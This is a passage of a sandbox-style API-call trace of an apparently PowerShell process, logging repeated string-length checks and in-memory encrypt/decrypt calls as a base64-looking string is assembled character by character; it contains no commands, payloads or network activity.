(param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎斠맲䉰⎥샂ꦐ⊰擄") returned 0x30 [0236.399] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0236.399] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZT0vuDqMhpkzwSj7WUvoOM6腧㔙饫䬭`凃㐋") returned 0x30 [0236.399] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0236.399] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎斠맲䉰⎥샂ꦐ⊰擄겛윢▮갹〾䇏贷譀") returned 0x30 [0236.399] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎斠맲䉰⎥샂ꦐ⊰擄겛윢▮갹〾䇏贷譀") returned 0x30 [0236.399] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0236.399] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZT0vuDqMhpkzwSj7WUvoOM6E㔙饫䬭`凃㐋") returned 0x30 [0236.400] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0236.400] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎斠맲䉰⎥샂ꦐ⊰擄㿊逐ꗻ럟㹑콯꫕") returned 0x30 [0236.400] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎斠맲䉰⎥샂ꦐ⊰擄㿊逐ꗻ럟㹑콯꫕") returned 0x30 [0236.400] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0236.400] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZT0vuDqMhpkzwSj7WUvoOM6Ek饫䬭`凃㐋") returned 0x30 [0236.400] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0236.400] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎斠맲䉰⎥샂ꦐ⊰擄쨶ﮠ\䷛埙舋̩⊥) returned 0x30 [0236.400] SysStringLen (param_1="☋\络ꥶꥍ霙槒瓶\ﯚ↛ꯊ谤ꂲデ죗ߣ㿅囚㲐袖玈ᇨ诫못ᾆゑ烎斠맲䉰⎥샂ꦐ⊰擄쨶ﮠ\䷛埙舋̩⊥) returned 0x30 [0236.400] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0236.400] SysStringLen (param_1="v9pa+L/AqjbBNhcNMcZT0vuDqMhpkzwSj7WUvoOM6Ek=䬭`凃㐋") returned 0x30 [0236.400] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0236.400] EtwEventActivityIdControl () returned 0x0 [0236.401] EtwEventActivityIdControl () returned 0x0 [0236.401] EtwEventActivityIdControl () returned 0x0 [0236.401] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0236.401] EtwEventActivityIdControl () returned 0x0 [0236.401] EtwEventActivityIdControl () returned 0x0 [0236.401] EtwEventActivityIdControl () returned 0x0 [0236.403] SysStringLen (param_1="") returned 0x8 [0236.403] SysStringLen (param_1="N") returned 0x8 [0236.403] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.403] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0236.403] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0236.403] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.403] SysStringLen (param_1="ND") returned 0x8 [0236.403] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.403] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0236.403] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0236.403] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.404] SysStringLen (param_1="NDZ") returned 0x8 [0236.404] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.404] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0236.404] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0236.404] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.404] SysStringLen (param_1="NDZl") returned 0x8 [0236.404] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.404] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0236.404] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0236.404] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.405] SysStringLen (param_1="NDZlO") returned 0x8 [0236.405] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.405] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0236.405] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0236.405] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.405] SysStringLen (param_1="NDZlOD") returned 0x8 [0236.405] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.405] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0236.405] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0236.405] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.405] SysStringLen (param_1="NDZlODR") returned 0x8 [0236.406] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.406] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0236.406] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0236.406] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.406] SysStringLen (param_1="NDZlODRm") returned 0x8 [0236.406] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0236.406] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0236.406] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0236.406] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0236.407] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0236.407] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.407] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0236.407] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.407] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0236.407] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0236.407] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.407] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0236.407] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0236.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0236.408] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.408] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0236.408] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0236.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0236.408] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.408] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0236.408] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0236.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0236.408] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.409] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0236.409] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0236.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0236.409] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.409] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0236.409] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0236.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0236.409] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.409] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0236.409] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0236.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0236.410] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.410] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0236.410] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0236.410] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0236.410] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0236.410] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0236.410] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0236.410] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.411] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0236.411] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.411] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0236.411] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0236.411] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.411] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0236.411] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.411] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0236.411] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0236.411] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.411] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0236.411] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.412] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0236.412] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0236.412] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.412] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0236.412] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.412] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0236.412] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0236.412] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.412] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0236.412] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.412] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0236.412] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0236.412] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.413] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0236.413] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.413] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0236.413] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0236.413] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.413] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0236.413] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.413] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0236.413] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0236.413] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.414] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0236.414] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0236.414] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0236.414] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0236.414] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0236.414] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0236.414] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.415] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0236.415] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0236.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0236.415] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.415] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0236.415] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0236.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0236.415] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.415] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0236.415] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0236.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0236.416] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.416] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0236.416] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0236.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0236.416] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.416] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0236.416] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0236.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0236.416] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.416] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0236.416] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.417] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0236.417] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0236.417] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.417] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0236.417] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.417] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0236.417] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0236.417] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.417] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0236.417] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0236.417] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0236.418] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0236.418] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0236.418] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0236.418] SystemFunction041 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.418] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0236.418] SystemFunction040 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.418] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0236.418] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0236.418] SystemFunction041 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.419] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0236.419] SystemFunction040 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.419] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0236.419] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0236.419] SystemFunction041 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.419] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0236.419] SystemFunction040 (in: Memory=0x5c9b054, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b054) returned 0x0 [0236.419] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0236.419] SysStringLen 